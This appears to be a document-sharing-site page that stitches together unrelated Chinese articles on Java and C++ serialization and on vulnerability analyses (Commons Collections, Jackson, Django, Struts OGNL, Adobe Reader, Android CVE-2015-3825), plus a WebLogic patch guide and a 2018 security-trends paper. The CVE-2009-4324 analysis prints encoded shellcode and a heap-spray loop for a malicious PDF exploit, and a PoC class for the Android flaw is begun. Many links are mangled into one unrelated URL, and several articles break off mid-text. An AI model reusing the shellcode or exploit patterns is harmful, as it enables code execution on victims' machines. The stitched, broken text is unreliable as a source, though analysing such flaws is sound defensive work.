关于近期Web容器存在反序列化任意代码执行漏洞的修复措施建议公告

关于近期Web容器存在反序列化任意代码执行漏洞的修复措施建议公告
关于近期Web容器存在反序列化任意代码执行漏洞的修复措施建议公告

关于近期Web容器存在反序列化任意代码执行漏

洞的修复措施建议公告

2015-11-18 17:16:34

安全公告编号:CNTA-2015-0025

近日,国家信息安全漏洞共享平台(CNVD)收录了Apache Commons Components InvokerTransformer反序列化任意代码执行漏洞(CNVD-2015-07556),该漏洞影响多款应用广泛的Web容器软件。远程攻击者利用漏洞可在目标系统上执行任意代码,危害较大的可以取得网站服务器控制权。

一、漏洞情况分析

Apache Commons包含了多个开源工具的工具集,用于解决编程经常遇到的问题,减少重复劳动。由于Apache CommonsCollections组件的Deserialize功能存在的设计漏洞,CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法,且该方法在相关对象反序列化时并未进行任何校验,远程攻击者利用漏洞可发送特殊的数据给应用程序或给使用包含Java 'InvokerTransformer.class'序列化数据的应用服务器,在目标服务器当前权限环境下执行任意代码。CNVD对该漏洞的综合评级为“高危”。

二、漏洞影响范围

Apache Commons工具集广泛应用于JAVA技术平台,WebLogic、IBM WebSphere、JBoss、Jenkins和OpenNMS等应用都大量调用了Commons工具集,通过远程代码执行可对上述应用发起远程攻击。

三、漏洞修复建议

用户可参考如下厂商提供的安全公告获取修复方

案:https://www.360docs.net/doc/de4591368.html,/viewvc?view=revision&revision=1713307;目前,针对上述漏洞暂时没有统一的官方补丁,CNVD建议参考如下措施(见下表)采取临时修复措施:

附:参考链接:

https://www.360docs.net/doc/de4591368.html,/2015/11/06/what-do-weblogic-websphere-jboss -jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jbos s

https://www.360docs.net/doc/de4591368.html,/flaw/show/CNVD-2015-07556

java序列化的作用

最近在阅读Core J2EE Patterns 的时候发现例子里用于在各个层次里进行传输的TO(Data Transfer Object)都实现了java.io.Serializable接口,看到这些偶突然感到茅塞顿开~困扰了很久的关于Serializable的疑问渐渐解开了,查找相关资料并总结如下: 序列化是什么: 序列化就是将一个对象的状态(各个属性量)保存起来,然后在适当的时候再获得。 序列化分为两大部分:序列化和反序列化。序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。恢复数据要求有恢复数据的对象实例 序列化的什么特点: 如果某个类能够被序列化,其子类也可以被序列化。声明为static和transient类型的成员数据不能被序列化。因为static代表类的状态, transient代表对象的临时数据。 什么时候使用序列化: 一:对象序列化可以实现分布式对象。主要应用例如:RMI要利用对象序列化运行远程主机上的服务,就像在本地机上运行对象时一样。 二:java对象序列化不仅保留一个对象的数据,而且递归保存对象引用的每个对象的数据。可以将整个对象层次写入字节流中,可以保存在文件中或在网络连接上传递。利用对象序列化可以进行对象的"深复制",即复制对象本身及引用的对象本身。序列化一个对象可能得到整个对象序列。 ====================== 可以看看接口java.io.serializable的中文解释: Serializable public interface Serializable 类通过实现 java.io.Serializable 接口以启用其序列化功能。未实现此接口的类将无法使其任何状态序列化或反序列化。可序列化类的所有子类型本身都是可序列化的。序列化接口没有方法或字段,仅用于标识可序列化的语义。

WebLogic 组件反序列化漏洞补丁升级操作手册

weblogic反序列化补丁安装 梁裕 1、到weblogic官网下载补丁包(p2*******_1036_Generic.zip、 p2*******_1036012_Generic.zip如果找不到的朋友,可以在回复中给我留下邮箱,我会定期回复。) 2、10.3.6对应的补丁包p2*******_1036012_Generic.zip ,补丁包需要依赖于一个大的升级 包,所以需要把p2*******_1036_Generic.zip也下载下来。 3、登录linux的weblogic用户,切换到/home/weblogic/Oracle/Middleware/utils/bsu/目录下。 4、确认当前weblogic版本,并确认所有域的进程全部关闭 ./bsu.sh -prod_dir=/home/weblogic/Oracle/Middleware/wlserver_10.3/ -status=applied -verbose –view 5、查看是否存在/home/weblogic/Oracle/Middleware/utils/bsu/cache_dir 目录,没有的需要 手工创建。 6、将补丁包上传到/home/weblogic/Oracle/Middleware/utils/bsu/cache_dir目录下 7、首先打大的升级包,解压p2*******_1036_Generic.zip unzip p2*******_1036_Generic.zip EJUW对应就是后面命令的patchlist 8、执行补丁安装命令。 ./bsu.sh -install -patch_download_dir=/home/weblogic/Oracle/Middleware/utils/bsu/cache_dir -patchlist=EJUW-prod_dir=/home/weblogic/Oracle/Middleware/wlserver_10.3 –verbose 9、打序列化的补丁包,解压p2*******_1036012_Generic.zip unzip p2*******_1036012_Generic.zip ./bsu.sh -install -patch_download_dir=/home/weblogic/Oracle/Middleware/utils/bsu/cache_dir -patchlist=ZLNA-prod_dir=/home/weblogic/Oracle/Middleware/wlserver_10.3 –verbose 10、在打ZLNA补丁包时,遇到了内存溢出的问题。需要修改bsu.sh脚本,将内存调大。 11、启动weblogic的域,查看输出日志。确定版本是否生效。

C++序列化反序列化库Kapok

C++序列化/反序列化库Kapok 1.Kapok的特点 简单,易用,header-only,只需要引用Kapok.hpp即可;高效,初步测试性和messagepack 相当。 它是纯c++11实现,因此需要支持C++11的编译器。 2.主要功能 对对象进行自动化的序列化和反序列化,用起来非常简单,先来看个序列化/反序列化一个tuple的例子吧。 //序列化 Serializer sr; auto tp = std::make_tuple(10, 12, string("test")); sr.Serialize(tp, "tuple"); //反序列化 DeSerializer dr; std::tuple p; dr.Parse(sr.GetString()); dr.Deserialize(p, "tuple"); 看起来是不是很简单! 再看一个序列化一个自定义对象的例子。 struct Person { int age; string name; string city; META(age, name, city) }; Person p = { 18, "bb", "aa" }; //序列化 Serializer sr; sr.Serialize(p, "Person"); //反序列化 DeSerializer dr;

Person person; dr.Parse(sr.GetString()); dr.Deserialize(person, "Person"); 一样的很简单,结构这里需要一个宏定义META,这个META的作用就是获取对象的元信息,有了这个元信息我们就可以很方便的实现序列化和反序列化了。 3.应用场景 Kapok除了不支持指针之外所有的对象都支持,支持结构体的无限嵌套(被嵌套的结构体也必须定义META宏)。这里说一下为什么不支持指针呢,因为对象中有指针的话存在两个问题:1.这个指针如果是动态数组的话,c++中无法获取这个数组的长度;2.指针还涉及到内存管理,我希望Kapok专注于序列化和/反序列化,暂时不考虑内存管理。 4.结构体必须有一个宏定义是否具有侵入性? 看起来每个序列化/反序列化的对象都要带一个宏定义似乎侵入性较强,但这种侵入性是完全无害的,因为它只是定义了一个额外的函数而已,这个函数只会在序列化/反序列化的时候才会用到,不会对当前对象造成任何影响,还有一点是因为c++没有反射,必须要通过某种方法来获取对象的元信息,纵观目前所有的序列化方案,只有这种方式是最简洁的,用户做最少的事情即可,这也是我选择这种方式的原因。 5.Kapok是如何实现序列化/反序列化的 Kapok的最底层是用到了rapidjson, 用它来实现对基本类型的序列化,对它做了一个简单的封装以便供上层使用,上面层就是序列化\反序列化实现层,主要是实现对对象元信息的解析和自动化的打包和解包。下面是Kapok序列化的一个示意图: 6.Kapok的性能如何 初步测试对一个tuple进行序列化/反序列化一万次,发现Kapok的耗时和messagepack相当。 7.Kapok是否支持多语言 暂时不支持,先把c++版本做好再说,如果要支持多语言的话,需要用其它语言进行重写,

JAVA序列化基础知识Serializable与Externalizable的区别

大家都知道Serializable是一个mark interface,告诉JVM这个对象可以被转换成二进制流来传输. 但是Serializable与Externalizable的转换二进制流的过程是不一样的. Serializable 在我们实现这个接口的时候,我们可以使用4个私有方法来控制序列化的过程: 我们来看一个例子: public class FooImpl implements java.io.Serializable{ private String message; public String getFoo() { return message; } public void setMessage(String message) { this.message = message; } private void writeObject(java.io.ObjectOutputStream out) throws IOException { System.out.println("writeObject invoked"); out.writeObject(this.message == null ? "hohohahaha" : this.message); } private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { System.out.println("readObject invoked"); this.message = (String) in.readObject(); System.out.println("got message:" + message); } private Object writeReplace() throws ObjectStreamException { System.out.println("writeReplace invoked"); return this; } private Object readResolve() throws ObjectStreamException { System.out.println("readResolve invoked"); return this; }

Java-Jackson反序列化漏洞及挖洞思路

源码分析Jackson反序列化漏洞 前言: 本次分析从Java序列化和反序列化源码开始分析,进一步分析Jackson源码,找出造成漏洞的原因,最后以Jackson2.9.2版本,JDK1.80_171,resin4.0.52,CVE-2020-10673为例复现漏洞。 一.JA V A反序列化原理 1.1 Class对象 每一个类都有一个Class对象,Class对象包含每一个类的运行时信息,每一个类都有一个Class对象,每编译一个类就产生一个Class对象,Class类没有公共的构造方法,Class对象是在类加载的时候由JVM以及通过调用类加载器中的DefineClass()方法自动构造的,因此不能显式地声明一个Class对象。在类加载阶段,类加载器首先检查这个类的Class对象是否已经被加载。如果尚未加载,默认的类加载器就会根据类的全限定名查找.class文件。一旦某个类的Class对象被载入内存,我们就可以它来创建这个类的所有对象以及获得这个类的运行时信息。 获得Class对象的方法: 1).Class.forName(“类的全名”);//com.xx.xx.xx 2).实例对象.getClass() 3).类名.class 1.2反射 JA V A反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

实现Java反射机制的类都位于https://www.360docs.net/doc/de4591368.html,ng.reflect包中: 1).Class类:代表一个类 2).Field类:代表类的成员变量(类的属性) 3).Method类:代表类的方法 4).Constructor类:代表类的构造方法 5).Array类:提供了动态创建数组,以及访问数组的元素的静态方法 简单反射调用代码 Class clz=this.getClass(); Object obj= clz.getMethod("方法名",Class对象序列).invoke(this,Object参数序列); 1.3 反序列化 Java 序列化是指把Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的writeObject() 方法可以实现序列化。 Java 反序列化是指把字节序列恢复为Java 对象的过程,ObjectInputStream 类的readObject() 方法用于反序列化。 RMI:是Java 的一组拥护开发分布式应用程序的API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI 的传输100% 基于反序列化,Java RMI 的默认端口是1099 端口。 JMX:JMX 是一套标准的代理和服务,用户可以在任何Java 应用程序中使用这些代理和服务实现管理,中间件软件WebLogic 的管理页面就是基于JMX 开发的,而JBoss 则整个系统都基于JMX 构架。 只有实现了Serializable接口的类的对象才可以被序列化,Serializable 接口是启用其序列化功能的接口,实现java.io.Serializable 接口的类才是可序列化的,没有实现此接口的类将不能使它们的任一状态被序列化或逆序列化。 readObject() 方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,readObject() 是可以重写的,可以定制反序列化的一些行为。 readObject()主要做的事情,其实就是读取正常应该被序列化的字段信息后,

使用json-lib完成json的序列化和反序列化

使用json-lib完成json的序列化和反序列化2011-07-29 14:07:43 分类:默认分类 | 标签:软件 java json. json的序列化和反序列化在现在的javaweb中特别是ajax中使用的比较频繁,现在本人就这种技术提出自己的使用心得。 我的pojo对象的结构是这样的 部门表和员工表 1对多的关系 部门对象 public class Dept implements java.io.Serializable { private Integer depid;//部门ID private String depname;//部门名称 private Set emps = new HashSet(0);//员工集合 } 员工对象 public class Emp implements java.io.Serializable { private Integer empid;//员工id private Dept dept;//部门 private String empname;//员工名称 private Date birthday;//生日 } 1.json字符串序列化成对象 /** *通过json转换成对象 *@author凤生禾予 */ public void jsonToObject(){ Date d=new Date(); SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd"); StringBuffer str=new StringBuffer(); // json字符串 str.append("{empid:1,dept:{depid:1,depname:'开发部'},empname:'张三 ',birthday:'"+sdf.format(d)+"'}"); // 使用JSONObject将json序列化对象 JSONObject obj=JSONObject.fromObject(str.toString()); // 将JOSNObject对象转换成pojo对象 Emp emp=(Emp) JSONObject.toBean(obj,Emp.class); System.out.println(emp.getBirthday()); } 这里需要注意的是json字符串的写法以{}表示一个对象,字符串必须加引号

CVE-2009-0658漏洞分析

CVE-2009-0658漏洞分析 题目:CVE-2009-0658漏洞分析 原作:Peter Kleissner (http://web17.webbpro.de/index.php?page=analysing-the-pdf-exploit) 翻译:Cryin' 我想给大家分享下2009年3月对一个Adobe pdf漏洞的分析结果,该漏洞由于JBIG2压缩中的BUG导致执行任意Win32代码。该漏洞目前(2009年3月3日)已经仅在内部被修补,但Adobe有望在3月11日才发布更新版本。自2007年以来的所有Adobe阅读器(Adobe Reader 7.0和更高版本都受影响),恶意PDF文件利用此漏洞的成功率非常低,所以传播的不是很广泛。 PDF文件概览 首先让我们大概的认识下一般的PDF恶意文件 ?JavaScript代码,使Exploit成为可能 ?Shellcode集成在JavaScript代码中(加载在Stream里面) ?Exploit Code,包含在PDF文件的Stream中并经过加密的可执行文件(malware) ?伪造的PDF文件,实现隐藏的目的 PDF漏洞文件开发主要有三个部分:JavaScript代码、Shellcode、Exploit Code。这三部分在漏洞利用开发过程中都同等重要。 Pidief是一个知名度很高、传播十分广泛的病毒家族(本文分析的也是),在其历史上它利用各种Adobe Pdf漏洞来执行恶意程序(malware).下面分析的就是Pidief家族中鲜活的实例。尽情享受吧! JavaScript代码 Pidief包含的第一段JavaScript代码作为脚本存储在PDF文件的Object对象中,代码经过八进制编码后如下面所示: 2 0 obj <

Django任意代码执行漏洞分析

Django任意代码执行漏洞分析 从Django的SECTET_KEY到代码执行 Django是一个可以用于快速搭建高性能,优雅的网站的平台,由Python写成。采用了MVC的软件设计模式,即模型M,视图V和控制器C。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的,即是CMS (内容管理系统)软件。并于2005年7月在BSD许可证下发布。 最近在进行网站代码审查的过程中,发现某些产品由于session使用不当,导致可能被攻击者利用,执行任意代码。这些产品在登录的JS代码中,泄露了SECRET_KEY,将该值作为密码加密的盐,这样就暴露了加密salt不太好吧,更重要的是对django的安全造成了极大的威胁。 2 SECRET_KEY作用 SECTET_KEY在djanog中使用非常广泛,基本上涉及到安全,加密等的地方都用到了,下面列举一些常见情景:1,json object的签名2,加密函数,如密码重置,表单,评论,csrf的key,session数据 这里面就要重点讲到session的问题,在这里使用不当就会导致代码执行

3 代码执行 3.1 settings的session设置 django默认存储session到数据库中,但是可能会比较慢,就会使用到缓存,文件,还有cookie等方式,如果采用了cookie机制则有可能代码执行,settings配置如下: SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies' 3.2 django 1.6以下 在django1.6以下,session默认是采用pickle执行序列号操作,在1.6及以上版本默认采用json序列化。代码执行只存在于使用pickle序列话的操作中。 3.3 session处理流程 可以简单的分为两部分,process_request和process_response,前者负责选择session引擎,初始化cookie 数据。见代码 Python class SessionMiddleware(object): def process_request(self, request): engine = import_module(settings.SESSION_ENGINE) session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME,

Struts S2-045 漏洞调试及分析

Struts S2-045漏洞调试及分析 Auth:Cryin’ Date:2016.3.9 漏洞公告 首先看官方给出的漏洞公告信息: “Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser.” 问题原因: “It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.” 从公告信息可以得到几个漏洞的重点信息: ●存在漏洞的模块是Jakarta ●漏洞产生的点是恶意的Content-Type头 ●恶意的Content-Type头会造成程序抛出异常,在显示错误消息给用户时造成RCE 补丁对比 查看Struts2版本2.3.32在github上的commit(Uses default error key if specified key doesn't exist)并对比修改内容: https://https://www.360docs.net/doc/de4591368.html,/apache/struts/commit/352306493971e7d5a756d61780d57a76eb1 f519a 可以看到对LocalizedTextUtil.findText方法进行了重写,并添加了判断。Struts2RCE漏洞的根本原因是程序将用户可控数据带入OGNL表达式解析并执行,而OGNL(Object Graph Navigation Language)对象图形导航语言是一个功能强大的表达式语言,可以用来获取和设置Java对象的属性,但同时也可以对服务端对象进行修改,绕过沙盒甚至可以执行系统命令。 所以,从补丁分析来看LocalizedTextUtil.findText函数很可能是OGNL表达式的传入点,在调试分析时可在此处下断点跟踪分析。 关于jakarta Jakarta是struts2默认处理multipart报文的解析器,该组件定义在struts-default.xml中: 默认使用org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类对上传数据进行解析并调用第三方组件commons-fileupload.jar完成上传操作。

2018年网络安全状况及2019年网络安全趋势

第35卷 第2期 福 建 电 脑 Vol. 35 No.2 2019年2月 Journal of Fujian Computer Feb. 2019 ——————————————— 刘娟(通信作者),女,1989年生,主要研究领域为网络安全技术.E-mail:liujuan@https://www.360docs.net/doc/de4591368.html,. 2018年网络安全状况及2019年网络安全趋势 刘娟 (国家计算机网络应急技术处理协调中心福建分中心 福州 350002) 摘 要 为了总结2018年我国网络安全总体状况及特点,研判2019年需重点关注的网络安全趋势,本文基于监测数据和开源情报,分别从恶意软件、数据安全、物联网安全、APT 攻击等方面梳理了2018年我国网络安全六大态势,提出了物联网安全风险加大、恶意软件更加多样化、供应链攻击持续发生、信息泄露推动技术能力提升等四点网络安全趋势。 关键词 网络安全;物联网;勒索病毒;信息泄露 中图法分类号 TP393.08 The Cyber Security Situation in 2018 and Its Trends in 2019 LIU Juan (The Computer Network Emergency Response Technical Team/Coordination Center of Fujian, Fuzhou, China, 350002) 1 网络安全现状 2018年以来,我国网络安全态势持续严峻,勒索病毒、DDOS 攻击、挖矿病毒、信息泄露、APT 攻击等各类网络安全威胁层出不穷。笔者根据监测数据和开源情报对六类典型网络安全威胁态势和特点进行分析总结。 1.1 勒索病毒 自2017年5月WannaCry 勒索病毒事件爆发以来,各类勒索病毒此起彼伏。2018年,我国多家医院、学校、行政服务中心、企业等被曝感染勒索病毒[1],造成极大危害。一方面,Globelmposter 、GandCrab 、Satan 等各类勒索病毒十分活跃,呈现更新快、变种多的特点。以GandCrab 勒索病毒为例,该勒索病毒于2018年1月首次被发现,截至目前已监测发现5个大版本升级,每个大版本还包含多个变种。另一方面,与WannaCry “广撒网”式投毒不同,2018年勒索病毒主要以重要行业重要数据服务器为目标,实现“精准投毒”,以期获得 更多赎金。攻击者往往通过暴力破解、漏洞利用等手段突破受害网络边界后部署勒索病毒。监测数据显示,福建省2018年受感染行业分布如图1所示, 可以看出政府部门是感染勒索病毒的重灾区。 图1 福建省2018年勒索病毒事件受害行业分析 1.2 信息泄露 2018年,互联网上曝光了多起我国公民信息泄露事件,泄露数据高达数十亿条,数据来源包括连锁酒店、快递公司、视频网站、求职网站等。例如,2018年8月,华住旗下多家连锁酒店5亿条用户个人信息及入住记录在暗网公开叫卖,标价8个比特币(约合人民币35万元)。与以往相比,暗网数据售卖成为此类事件曝光的主渠道。究其原因是随着我国《网络安全法》的实施,对个人信息保护越来越完善,攻击者为了隐藏行踪转而在暗网通过加密货币进行交易。这些信息泄露事件暴露了部分掌握

Struts2漏洞利用原理及OGNL机制研究

Struts2漏洞利用原理及OGNL机制研究 Auth:Cryin’ Date:2015.04.19 概述 在MVC开发框架中,数据会在MVC各个模块中进行流转。而这种流转,也就会面临一些困境,就是由于数据在不同MVC层次中表现出不同的形式和状态而造成的: ◆View层—表现为字符串展示 数据在页面上是一个扁平的、不带数据类型的字符串,无论数据结构有多复杂,数据类型有多丰富,到了展示的时候,全都一视同仁的成为字符串在页面上展现出来。数据在传递时,任何数据都都被当作字符串或字符串数组来进行。 ◆Controller层—表现为java对象 在控制层,数据模型遵循java的语法和数据结构,所有的数据载体在Java世界中可以表现为丰富的数据结构和数据类型,你可以自行定义你喜欢的类,在类与类之间进行继承、嵌套。我们通常会把这种模型称之为复杂的对象树。数据在传递时,将以对象的形式进行。 可以看到,数据在不同的MVC层次上,扮演的角色和表现形式不同,这是由于HTTP协议与java的面向对象性之间的不匹配造成的。如果数据在页面和Java世界中互相传递,就会显得不匹配。所以也就引出了几个需要解决的问题: 1.当数据从View层传递到Controller层时,我们应该保证一个扁平而分散在各处的数据集合能以一定的规则设置到Java世界中的对象树中去。同时,能够灵活的进行由字符串类型到Java中各个类型的转化。 2.当数据从Controller层传递到View层时,我们应该保证在View层能够以某些简易的规则对对象树进行访问。同时,在一定程度上控制对象树中的数据的显示格式。 我们稍微深入思考这个问题就会发现,解决数据由于表现形式的不同而发生流转不匹配的问题对我们来说其实并不陌生。同样的问题会发生在Java世界与数据库世界中,面对这种对象与关系模型的不匹配,我们采用的解决方法是使用如hibernate,iBatis等框架来处理java对象与关系数据库的匹配。 现在在Web层同样也发生了不匹配,所以我们也需要使用一些工具来帮助我们解决问题。为了解决数据从View层传递到Controller层时的不匹配性,Struts2采纳了XWork的一套完美方案。并且在此的基础上,构建了一个完美的机制,从而比较完美的解决了数据流转中的不匹配性。就是表达式引擎OGNL。它的作用就是帮助我们完成这种规则化的表达式与java对象的互相转化(以上内容参考自Struts2技术内幕)。 关于OGNL OGNL(Object Graph Navigation Language)即对象图形导航语言,是一个开源的表达式引擎。使用OGNL,你可以通过某种表达式语法,存取Java对象树中的任意属性、调用Java 对象树的方法、同时能够自动实现必要的类型转化。如果我们把表达式看做是一个带有语义的字符串,那么OGNL无疑成为了这个语义字符串与Java对象之间沟通的桥梁。我们可以轻松解决在数据流转过程中所遇到的各种问题。 OGNL进行对象存取操作的API在Ognl.java文件中,分别是getValue、setValue两个方法。getValue通过传入的OGNL表达式,在给定的上下文环境中,从root对象里取值:

Java序列化的机制和原理

Java序列化的机制和原理 有关Java对象的序列化和反序列化也算是Java基础的一部分,下面对Java序列化的机制和原理进行一些介绍。 Java序列化算法透析 Serialization(序列化)是一种将对象以一连串的字节描述的过程;反序列化deserialization 是一种将这些字节重建成一个对象的过程。Java序列化API提供一种处理对象序列化的标准机制。在这里你能学到如何序列化一个对象,什么时候需要序列化以及Java序列化的算法,我们用一个实例来示范序列化以后的字节是如何描述一个对象的信息的。 序列化的必要性 Java中,一切都是对象,在分布式环境中经常需要将Object从这一端网络或设备传递到另一端。这就需要有一种可以在两端传输数据的协议。Java序列化机制就是为了解决这个问题而产生。 如何序列化一个对象 一个对象能够序列化的前提是实现Serializable接口,Serializable接口没有方法,更像是个标记。有了这个标记的Class就能被序列化机制处理。 1.import java.io.Serializable; 2. 3.class TestSerial implements Serializable { 4. 5.public byte version = 100; 6. 7.public byte count = 0; 8. 9.} 然后我们写个程序将对象序列化并输出。ObjectOutputStream能把Object输出成Byte 流。我们将Byte流暂时存储到temp.out文件里。 1.public static void main(String args[]) throws IOException { 2. 3. FileOutputStream fos = new FileOutputStream("temp.out "); 4. 5. ObjectOutputStream oos = new ObjectOutputStream(fos); 6. 7. TestSerial ts = new TestSerial();

OpenSSLX509Certificate反序列化漏洞(CVE-2015-3825)成因分析

OpenSSLX509Certificate反序列化漏洞 (CVE-2015-3825)成因分析 作者:没羽 官网:百度搜素“阿里聚安全” 官方微博:阿里聚安全 官方微信:阿里聚安全 一、序 序列化 (Serialization),是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。使用者可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。Android也有许多场景使用序列化进行数据传递,如App间/内的对象传递、Binder通信的数据传递等等,一般涉及跨进程、跨权限。序列化/反序列也是程序/接口的一个输入,存储区的内容或序列是可被随机填充,如果使用时验证不完整,也会导致安全漏洞。在Android系统中,可通过序列化/反序列化漏洞实现App拒绝服务、提升权限等攻击。 二、漏洞成因 这个Android序列化漏洞(CVE-2015-3825),影响Android4.3及Android5.1版本,也就是Jelly Bean、KitKat、棒棒糖和Android M预览版1,波及55%的Android设备。可在受影响的设备上提权到system权限,也就意味着攻击者可以通过替换目标应用的apk接管受害者手机上的任意应用。这个漏洞是由的IBM 安全团队Or Peles和Roee Hay在USENIX 2015大会上的议题《ONE CLASS TO RULE THEM ALL 0-DAY DESERIALIZATION VULNERABILITIES IN ANDROID》[1]。 2.1 PoC构造 Paper作者没放出Exploit也没放出PoC,根据这篇paper我们可以知道,漏洞出在 OpenSSLX509Certificate(全包名路径为https://www.360docs.net/doc/de4591368.html,.conscrypt.OpenSSLX509Certificate)类,OpenSSLX509Certificate类满足: 1)OpenSSLX509Certificate是可序列化的,因为他继承自可序列化的Certificate类; 2)它有一个finalize()方法,并且有调用native的方法(libjavascrypto.so中),参数field mContext,long型(实际为指针类型); 3)OpenSSLX509Certificate也没有实现特定的反序列化方法(readObject和readResolve); 其中mContext就是要找的可被攻击控制的指针。 我对CVE-2014-7911的POC进行了改造, 首先定义类https://www.360docs.net/doc/de4591368.html,.conscrypt.ApenSSLX509Certificate,如下: public class ApenSSLX509Certificate implements Serializable { //private static final long serialVersionUID = -5454153458060784251L;//android4.4.2 emulator private static final long serialVersionUID = -8550350185014308538L;//android 5.1.1 emulator public final long mContext; ApenSSLX509Certificate(long ctx) {

CVE-2009-4324漏洞分析

CVE-2009-4324漏洞分析 题目:CVE-2009-4324漏洞分析 Date:2010.11.1 Author:Cryin' Blog:https://https://www.360docs.net/doc/de4591368.html,/Cryin/Paper 漏洞描述 在CVE以及NVD上对此漏洞有如下同样的描述,值得注意的是这句"Use-after-free"。Use-after-free vulnerability in the Doc.media.newPlayer method in Multimedia.api in Adobe Reader and Acrobat 9.x before 9.3, and 8.x before 8.2 on Windows and Mac OS X, allows remote attackers to execute arbitrary code via a crafted PDF file using ZLib compressed streams, as exploited in the wild in December 2009. 测试环境: 操作系统:Windows XP SP3 Adobe版本:Adobe Reader 8.1.2_zh_CN javascript代码: //------------------------------------------------------------- //-----------------不要编辑 XML 标记-------------------- //------------------------------------------------------------- // //文档打开 // /*********** 属于:Document-Actions:文档打开 ***********/ var shellcode = unescape("%uc929%ud1db%u74d9%uf424%u32b1%ub85f%u7833%u9781%uc783%u3104%u1147%u7 403%u6369%u8662%uea61%u768d%u8d72%u9304%u9f43%ud073%u2ff6%ub4f7%uc4fa%u2c55%ua9 88%u4371%u0739%u6aa4%ua9ba%u2068%uab78%u3a14%u0bad%uf524%u4aa0%ueb61%u1e4b%u603 a%u8ff9%u344f%uaec2%u339f%uc97a%u839a%u630f%ud3a4%uf8a0%ucbee%ua7cb%ueace%ub418 %ua533%u0f15%u34c7%u41fc%u0728%u0ec0%ua817%u4fcd%u0e5f%u3a2e%u6dab%u3dd3%u0c68% ucb0f%ub66d%u6bc4%u4756%ued08%u4b1d%u79e5%u4f79%uaef8%u6bf1%u5171%ufad6%u76c1%u a7f2%u1792%u0da3%u2774%ue9b3%u8d29%u1bbf%ub73d%u719d%u35c0%u3c98%u45c2%u6ea3%u7 4ab%ue128%u88ac%u46fb%u6b52%ub22e%u32fb%u7fbb%uc566%u4311%u469f%u3b90%u5664%u3e d1%ud020%u3209%ub539%ue12d%u9c3a%u644d%u7ca9%u4192"); var SOEWO = unescape("%u4749%ud69b"); while(SOEWO.length <= 32768) SOEWO+=SOEWO; SOEWO=SOEWO.substring(0,32768 - shellcode.length);

Java对象的序列化和反序列化实践

Java对象的序列化和反序列化实践 当两个进程在进行远程通信时,彼此可以发送各种类型的数据。无论是何种类型的数据,都会以二进制序列的形式在网络上传送。发送方需要把这个Java对象转换为字节序列,才能在网络上传送;接收方则需要把字节序列再恢复为Java对象。 把Java对象转换为字节序列的过程称为对象的序列化。 把字节序列恢复为Java对象的过程称为对象的反序列化。 对象的序列化主要有两种用途: 1)把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中; 2)在网络上传送对象的字节序列。 一.JDK类库中的序列化API java.io.ObjectOutputStream代表对象输出流,它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。 java.io.ObjectInputStream代表对象输入流,它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。、 只有实现了Serializable和Externalizable接口的类的对象才能被序列化。Externalizable接口继承自Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以采用默认的序列化方式。 对象序列化包括如下步骤: 1)创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流; 2)通过对象输出流的writeObject()方法写对象。 对象反序列化的步骤如下: 1)创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;

相关文档
最新文档